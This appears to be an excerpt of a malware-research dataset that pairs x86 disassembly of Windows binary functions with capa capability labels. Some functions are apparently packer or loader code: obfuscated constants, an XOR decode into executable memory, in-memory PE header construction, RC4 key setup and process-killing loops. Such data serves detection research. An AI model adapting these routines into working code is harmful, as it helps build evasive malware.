joyce8/EMBER2024-capa huggingface dataset:
Function at 0x253beee
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x20
mov eax, dword [0x6400104]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
mov ebp, ecx
xor ebx, ebx
push esi
cmp dword [ebp + 0x38], ebx
je 0x253c019
cmp byte [ebp + 0x3d], bl
je 0x253c019
mov eax, dword [ebp]
push 0xffffffffffffffff
mov esi, dword [eax + 0xc]
mov ecx, esi
call dword [0x440041c]
mov ecx, ebp
call esi
cmp eax, 0xffffffff
jne 0x253bf35
xor al, al
jmp 0x253c01b
push ebx
push 8
lea ecx, [esp + 0x18]
mov dword [esp + 0x2c], 0xf
mov dword [esp + 0x28], ebx
mov byte [esp + 0x18], bl
call fcn.02486c57
push edi
mov esi, dword [esp + 0x14]
mov ecx, dword [esp + 0x28]
mov ebx, dword [ebp + 0x38]
lea eax, [esp + 0x10]
push eax
mov eax, dword [esp + 0x28]
lea edi, [esp + 0x18]
cmp ecx, 0x10
lea edx, [esp + 0x18]
cmovae edi, esi
cmovae edx, esi
mov esi, dword [ebx]
add eax, edi
push eax
push edx
lea eax, [ebp + 0x40]
mov ecx, dword [esi + 0x20]
push eax
call dword [0x440041c]
mov ecx, ebx
call dword [esi + 0x20]
sub eax, 0
je 0x253bfa3
sub eax, 1
je 0x253bfa7
dec eax
sub eax, 1
je 0x253c005
xor bl, bl
jmp 0x253c007
mov byte [ebp + 0x3d], 0
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x14]
mov esi, dword [esp + 0x14]
cmp ecx, 0x10
mov edi, dword [esp + 0x10]
cmovae eax, esi
sub edi, eax
je 0x253bfe6
push dword [ebp + 0x4c]
cmp ecx, 0x10
lea eax, [esp + 0x18]
push edi
cmovae eax, esi
push 1
push eax
call fcn.025d686c
add esp, 0x10
cmp edi, eax
jne 0x253bf9f
mov ecx, dword [esp + 0x28]
mov esi, dword [esp + 0x14]
cmp byte [ebp + 0x3d], 0
je 0x253c005
test edi, edi
jne 0x253bf5a
push edi
push 8
lea ecx, [esp + 0x1c]
call fcn.0248061d
jmp 0x253bf52
mov bl, 1
push 0
push 1
lea ecx, [esp + 0x1c]
call fcn.0247fc46
mov al, bl
pop edi
jmp 0x253c01b
mov al, 1
mov ecx, dword [esp + 0x28]
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.02585cf8
add esp, 0x20
ret
Function at 0x2540f50
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x6400104]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push edi
xor edi, edi
cmp dword [eax - 0xc], edi
je 0x2540fbe
push edi
push edi
lea ecx, [ebp - 8]
push ecx
push edi
push 1
push dword [eax - 0xc]
push eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x2540fb1
push dword [ebp - 8]
mov ecx, esi
call fcn.02493a7a
mov eax, dword [esi + 4]
sub eax, dword [esi]
je 0x2540fdb
mov eax, dword [ebp + 8]
lea ecx, [ebp - 8]
push edi
push edi
push ecx
push dword [esi]
push 1
push dword [eax - 0xc]
push eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x2540fbe
mov eax, dword [esi]
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.0247de5b
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.02585cf8
mov esp, ebp
pop ebp
ret
mov ecx, esi
call fcn.0247ff7a
int3
Function at 0x254321a
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x238
mov eax, dword [0x6400104]
xor eax, esp
mov dword [esp + 0x234], eax
mov eax, dword [esp + 0x240]
push ebx
mov ebx, dword [esp + 0x248]
push ebp
push esi
push edi
mov edi, dword [esp + 0x24c]
push 0
push 0xf
mov dword [esp + 0x1c], eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, eax
mov dword [esp + 0x18], 0x22c
lea eax, [esp + 0x18]
push eax
push ebp
call sub.KERNEL32.dll_Process32FirstW
and dword [esp + 0x10], 0
lea ecx, [esp + 0x10]
push edi
mov esi, eax
call fcn.0247a86d
test esi, esi
je 0x25432c3
mov esi, dword [esp + 0x14]
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0x14]
call fcn.024b7d7f
test eax, eax
jne 0x25432b4
push dword [esp + 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [esp + 0x14], eax
test eax, eax
je 0x25432b4
lea eax, [esp + 0x14]
mov ecx, ebx
push eax
call fcn.0254b133
lea eax, [esp + 0x18]
push eax
push ebp
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x2543282
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 4]
xor ecx, ecx
sub eax, dword [ebx]
sar eax, 2
cmp ecx, eax
mov ecx, dword [esp + 0x10]
sbb esi, esi
add ecx, 0xfffffff0
neg esi
call fcn.0247de5b
mov ecx, dword [esp + 0x244]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.02585cf8
add esp, 0x238
ret
Function at 0x254405f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x6400104]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
xor eax, eax
push esi
push edi
lea edi, [ebp - 0x10]
xor esi, esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
push 1
push ecx
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
call fcn.0254321a
add esp, 0xc
test eax, eax
je 0x25440d0
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
sub eax, ecx
sar eax, 2
test eax, eax
je 0x25440d0
push 9
push dword [ecx + esi*4]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [ebp - 0x10]
push dword [eax + esi*4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
inc esi
mov ecx, dword [ebp - 0x10]
sub eax, ecx
sar eax, 2
cmp esi, eax
jb 0x25440a9
lea ecx, [ebp - 0x10]
call fcn.0254b0ca
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.02585cf8
mov esp, ebp
pop ebp
ret
Function at 0x254b740
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov eax, dword [0x6400104]
xor eax, esp
mov dword [esp], eax
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp byte [edi + 0x18], bl
jne 0x254b76c
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x440041c]
mov ecx, edi
call esi
mov byte [edi + 0x18], 1
mov edx, ebx
cmp dword [esp + 0x18], edx
jbe 0x254b791
mov esi, dword [edi + 0xc]
mov edi, dword [esp + 0x14]
movzx ecx, byte [edx + edi]
movzx eax, bl
xor ecx, eax
shr ebx, 8
xor ebx, dword [esi + ecx*4]
inc edx
cmp edx, dword [esp + 0x18]
jb 0x254b77b
mov ecx, dword [esp + 0xc]
xor ebx, 0x55
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.02585cf8
pop ecx
ret 8
Function at 0x254ebf0
Capabilities:
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub esp, 0xc
mov eax, dword [0x6400104]
xor eax, esp
mov dword [esp + 8], eax
push ebx
mov ebx, dword [esp + 0x1c]
lea eax, [esp + 8]
push ebp
push esi
push edi
mov edi, dword [esp + 0x20]
mov esi, ecx
push 0xf0000000
xor ebp, ebp
mov dword [esp + 0x18], ebp
push dword [esi + 8]
mov dword [esp + 0x18], ebp
push ebp
push ebp
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x254ec7d
lea eax, [esp + 0x10]
push eax
push ebp
push ebp
push dword [esi + 4]
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x254ec7d
push ebp
push dword [esp + 0x28]
push edi
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x254ec7d
push ebp
lea eax, [esi + 0xc]
push eax
push ebx
push 2
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x254ec7d
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x254ec93
cmp dword [esp + 0x10], ebp
je 0x254ec8d
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
cmp dword [esp + 0x14], ebp
je 0x254ec9e
push ebp
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [esp + 0x18]
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.02585cf8
add esp, 0xc
ret 0xc
Function at 0x254f19e
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [0x6400104]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push edi
xor edi, edi
cmp dword [eax - 0xc], edi
je 0x254f20c
push edi
push edi
lea ecx, [ebp - 8]
push ecx
push edi
push 1
push dword [eax - 0xc]
push eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x254f1ff
push dword [ebp - 8]
mov ecx, esi
call fcn.02493a7a
mov eax, dword [esi + 4]
sub eax, dword [esi]
je 0x254f229
mov eax, dword [ebp + 8]
lea ecx, [ebp - 8]
push edi
push edi
push ecx
push dword [esi]
push 1
push dword [eax - 0xc]
push eax
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x254f20c
mov eax, dword [esi]
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.0247de5b
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop esi
call fcn.02585cf8
mov esp, ebp
pop ebp
ret
mov ecx, esi
call fcn.0247ff7a
int3
Function at 0x255f8e3
Capabilities:
Get hostname
Get user security identifier

Disassembly:
sub esp, 0x20
mov eax, dword [0x6400104]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x24]
mov ecx, eax
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x14], eax
call fcn.0247d745
push 0x10
pop edi
xor ebx, ebx
mov dword [esp + 0x24], edi
mov dword [esp + 0x10], ebx
call fcn.0247d9cc
push eax
lea ecx, [esp + 0x14]
call fcn.0247a7ff
push edi
lea ecx, [esp + 0x14]
call fcn.0247dc50
push edi
lea ecx, [esp + 0x14]
mov esi, eax
call fcn.0247deda
lea eax, [esp + 0x24]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea ecx, [esp + 0x10]
test eax, eax
je 0x255fa4f
push dword [esp + 0x24]
call fcn.0247deda
push 0x20
pop eax
push eax
mov dword [esp + 0x24], eax
call fcn.0258532a
mov esi, dword [esp + 0x14]
mov ebp, eax
pop ecx
test ebp, ebp
jne 0x255f97a
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x255fa60
lea eax, [esp + 0x28]
mov dword [esp + 0x18], ebx
push eax
lea eax, [esp + 0x1c]
push eax
push ebx
lea eax, [esp + 0x2c]
push eax
push ebx
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x255f9ab
push ebp
call fcn.02585333
pop ecx
jmp 0x255f96f
push dword [esp + 0x20]
push ebx
push ebp
call fcn.025acd10
mov esi, dword [esp + 0x24]
lea ecx, [esp + 0x1c]
add esp, 0xc
push esi
call fcn.0247dc50
push esi
lea ecx, [esp + 0x14]
mov edi, eax
call fcn.0247deda
mov esi, dword [esp + 0x10]
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x1c]
push eax
push edi
lea eax, [esp + 0x2c]
push eax
push ebp
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
lea ecx, [esp + 0x10]
push dword [esp + 0x18]
test eax, eax
jne 0x255fa03
call fcn.0247deda
jmp 0x255f9a2
call fcn.0247deda
push ebp
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
je 0x255f9a2
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], ebx
push eax
push ebp
call sub.ADVAPI32.dll_ConvertSidToStringSidW
push dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
mov edi, eax
call fcn.024b5000
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push ebp
mov dword [esp + 0x20], ebx
call fcn.02585333
pop ecx
test edi, edi
jne 0x255fa62
jmp 0x255f96f
push 0xffffffffffffffff
call fcn.0252999e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [esp + 0x10]
mov ebx, eax
lea ecx, [esi - 0x10]
call fcn.0247de5b
mov ecx, dword [esp + 0x2c]
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.02585cf8
add esp, 0x20
ret
Function at 0x256545c
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x20
mov eax, dword [0x6400104]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x34]
push ebx
mov ebx, dword [esp + 0x34]
mov edx, dword [esp + 0x2c]
push ebp
mov ecx, dword [esp + 0x2c]
push esi
push edi
mov ebp, dword [esp + 0x3c]
lea edi, [esp + 0x14]
mov dword [esp + 0x10], eax
xor eax, eax
stosd dword es:[edi], eax
push 1
mov dword [esp + 0x28], ecx
mov dword [esp + 0x24], edx
stosd dword es:[edi], eax
mov dword [esp + 0x2c], 0x20019
stosd dword es:[edi], eax
mov eax, dword [ebx]
xor edi, edi
mov dword [ebx + 4], eax
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], edi
push eax
push edx
push ecx
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], edi
call fcn.0256536a
mov esi, eax
add esp, 0x14
test esi, esi
jne 0x2565526
lea eax, [esp + 0x28]
push eax
push edi
push dword [esp + 0x18]
push edi
push ebp
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
test esi, esi
jne 0x256551d
push dword [esp + 0x28]
mov ecx, ebx
call fcn.02493a7a
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
je 0x25655ca
lea eax, [esp + 0x28]
push eax
push dword [ebx]
push dword [esp + 0x18]
push edi
push ebp
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
test esi, esi
je 0x2565596
lea ecx, [esp + 0x14]
call fcn.024b7c93
cmp byte [esp + 0x48], 0
jne 0x25655aa
mov eax, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 0x20219
push dword [esp + 0x24]
push dword [eax]
call fcn.02528918
mov esi, eax
test esi, esi
jne 0x25655aa
lea eax, [esp + 0x28]
push eax
push edi
push dword [esp + 0x18]
push edi
push ebp
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
test esi, esi
jne 0x25655a1
push dword [esp + 0x28]
mov ecx, ebx
call fcn.02493a7a
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
je 0x25655ca
lea eax, [esp + 0x28]
push eax
push dword [ebx]
push dword [esp + 0x18]
push edi
push ebp
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
test esi, esi
jne 0x25655a1
lea ecx, [esp + 0x14]
call fcn.024b7c93
jmp 0x25655ac
lea ecx, [esp + 0x14]
call fcn.024b7c93
mov edi, esi
lea ecx, [esp + 0x14]
call fcn.024b7c93
mov ecx, dword [esp + 0x2c]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.02585cf8
add esp, 0x20
ret
mov ecx, ebx
call fcn.0247ff7a
int3
Function at 0x2589fe3
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x25eaadb
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.025ea6e0

Function at 0x25eaae6
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.025ea861

Function at 0x25f1ceb
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.025f14cf

Function at 0x25f1cf6
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.025f170a

Function at 0x25f225e
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.025f1fd0
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x401bc8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x401bd7
pop dword [ebp - 0x44]
mov eax, 0x401bd7
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xa41a53d8
sub dword [ebp - 0x54], 0x55c80e8d
mov dword [ebp - 0x50], 0xfda66637
sub dword [ebp - 0x50], 0xcb7319f2
mov dword [ebp - 0x4c], 0x253ccadc
sub dword [ebp - 0x4c], 0xd8f086ae
mov dword [ebp - 0x48], 0x56a45a07
add dword [ebp - 0x48], 0xa95ba5f9
lea eax, [ebp - 0x54]
push eax
mov eax, 0xb9e3ba9b
add eax, 0x465cb5c5
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xaab26595
add dword [ebp - 0x54], 0xc9c003c1
mov dword [ebp - 0x50], 0xdc334393
sub dword [ebp - 0x50], 0x9ac6e21e
mov dword [ebp - 0x4c], 0xb5eff066
add dword [ebp - 0x4c], 0xad7f7c06
mov dword [ebp - 0x48], 0x1026005f
add dword [ebp - 0x48], 0xefd9ffa1
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x52f31848
add eax, 0xad4d58b8
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x36d83
push 0
call eax
mov ecx, 0x8d4cc64a
add ecx, 0x72b382ca
mov esi, eax
mov edi, 0xfc1b5118
add edi, 0x425aee8
add edi, dword [ebp - 0x44]
mov edx, 0xd1e532b7
add edx, 0x556acd24
add dword [ebp - 0x18], ecx
mov ebx, dword [edi]
add dword [ebp - 0x34], 0x23359a22
xor ebx, edx
mov dword [ebp - 8], 0x36e47c02
mov dword [esi], ebx
add dword [ebp - 0x14], edi
add esi, 0x6acd08a7
add esi, 0x9532f75d
add edi, 4
loop 0x401cf4
add eax, 0xe75be1c8
sub eax, 0xe75acaa5
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x10005275
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1000a9f0]
jne 0x1000527f
repz ret
jmp fcn.1000682d

Function at 0x10006328
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.100012c8
and dword [ebp - 4], 0
cmp dword [0x1000b2c0], 0
mov ebx, eax
jne 0x100063d9
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1000648a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1000648a
push eax
call fcn.10001256
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1000b2c0], eax
call esi
push eax
call fcn.10001256
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1000b2c4], eax
call esi
push eax
call fcn.10001256
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1000b2c8], eax
call esi
push eax
call fcn.10001256
pop ecx
mov dword [0x1000b2d0], eax
test eax, eax
je 0x100063d9
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10001256
pop ecx
mov dword [0x1000b2cc], eax
mov eax, dword [0x1000b2cc]
cmp eax, ebx
je 0x10006431
cmp dword [0x1000b2d0], ebx
je 0x10006431
push eax
call fcn.100012d1
push dword [0x1000b2d0]
mov esi, eax
call fcn.100012d1
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10006431
test edi, edi
je 0x10006431
call esi
test eax, eax
je 0x10006428
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10006428
test byte [ebp - 0xc], 1
jne 0x10006431
or dword [ebp + 0x10], 0x200000
jmp 0x1000646a
mov eax, dword [0x1000b2c4]
cmp eax, ebx
je 0x1000646a
push eax
call fcn.100012d1
pop ecx
test eax, eax
je 0x1000646a
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1000646a
mov eax, dword [0x1000b2c8]
cmp eax, ebx
je 0x1000646a
push eax
call fcn.100012d1
pop ecx
test eax, eax
je 0x1000646a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1000b2c0]
call fcn.100012d1
pop ecx
test eax, eax
je 0x1000648a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1000648c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x101e95ac
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x101f7ae0]
jne 0x101e95b6
repz ret
jmp fcn.101e985d

Function at 0x101e9e40
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x101f7acc], 0
mov byte [0x101f7ad0], 0
mov dword [0x101f7ac4], 0xdd8
mov dword [0x101f7ac0], 0x1867
mov dword [0x101f7ac8], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x101e9ea6
mov eax, dword [ebp - 0x20]
add eax, 0xffffef7b
mov dword [0x101f7ac0], eax
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x101f7ac8]
add eax, 1
mov dword [0x101f7ac8], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x101e9ea6
xor eax, eax
mov ecx, 0x1c52
mov dword [0x101f7ac0], 0x1c52
mov dword [0x101f7ac8], 0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov edx, 0x100
mov dword [ebp - 0x2c], eax
mov eax, ecx
xor esi, esi
mov dword [ebp - 0x30], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x101f7ad4], 0
mov edi, dword [ebp - 0x2c]
add edi, 0xfffff22e
mov ebx, dword [0x101f7acc]
mov esi, dword [ebp - 0x18]
movzx esi, byte [esi + ecx]
add esi, ebx
mov ebx, dword [ebp - 0x14]
movzx edx, byte [ebx + edx]
add esi, edx
mov dword [0x101f7ad4], esi
mov dword [0x101f7ac0], edi
mov eax, esi
cdq
mov esi, dword [ebp - 0x30]
idiv esi
mov dword [0x101f7acc], edx
mov edi, dword [ebp - 0x18]
mov bl, byte [edi + ecx]
mov byte [0x101f7ad0], bl
mov dword [0x101f7ac0], 0x1300
mov bl, byte [edi + edx]
mov byte [edi + ecx], bl
mov bl, byte [0x101f7ad0]
mov ecx, dword [0x101f7acc]
mov byte [edi + ecx], bl
mov ecx, dword [0x101f7ac4]
mov edx, ecx
add edx, 0xfffff3f9
mov dword [0x101f7ac0], edx
mov esi, dword [0x101f7ac8]
add esi, 1
mov dword [0x101f7ac8], esi
cmp esi, 0x100
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x28], edx
jl 0x101e9eed
jmp 0x101e9e91
Function at 0x101ea834
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x101f7ac4], 0xbaf
mov dword [0x101f7ac0], 0x77a
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
jmp 0x101ea869
mov eax, dword [ebp - 0x30]
add esp, 0x4c
pop ebp
ret
mov eax, dword [ebp - 0x2c]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x101ec5fc]
mov dh, byte [eax + 0x101ec5cd]
sub dh, dl
mov byte [ebp + eax - 0x20], dh
cmp ecx, 0xe
mov dword [ebp - 0x2c], ecx
jne 0x101ea869
lea eax, [ebp - 0x20]
mov dword [0x101f7ac4], 0x8c2
mov dword [0x101f7ac0], 0x2310
mov dword [ebp - 0x34], eax
call fcn.101ea37d
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.101e9bc9
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x30], ecx
je 0x101ea861
mov eax, dword [ebp - 0x38]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x101f7ac0]
add ecx, 0xffffee8b
mov dword [0x101f7ac0], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x3c], eax
call fcn.101ea21a
xor eax, eax
mov ecx, dword [ebp - 0x3c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [0x101f7ac4], 0x322
mov dword [ecx + 0xd0], 0x4550
mov dword [0x101f7ac0], 0xfb1
add ecx, 0xffc00000
mov edx, dword [ebp - 0x28]
mov dword [edx + 4], ecx
mov ecx, dword [ebp - 0x3c]
mov dword [edx + 0x14], ecx
cmp ecx, 0
mov dword [ebp - 0x30], eax
je 0x101ea861
mov eax, dword [0x101f7ac4]
mov ecx, dword [ebp - 0x3c]
add ecx, 0x25ee
add eax, 0xfffff237
mov dword [0x101f7ac0], eax
mov dword [ebp - 0x30], ecx
jmp 0x101ea861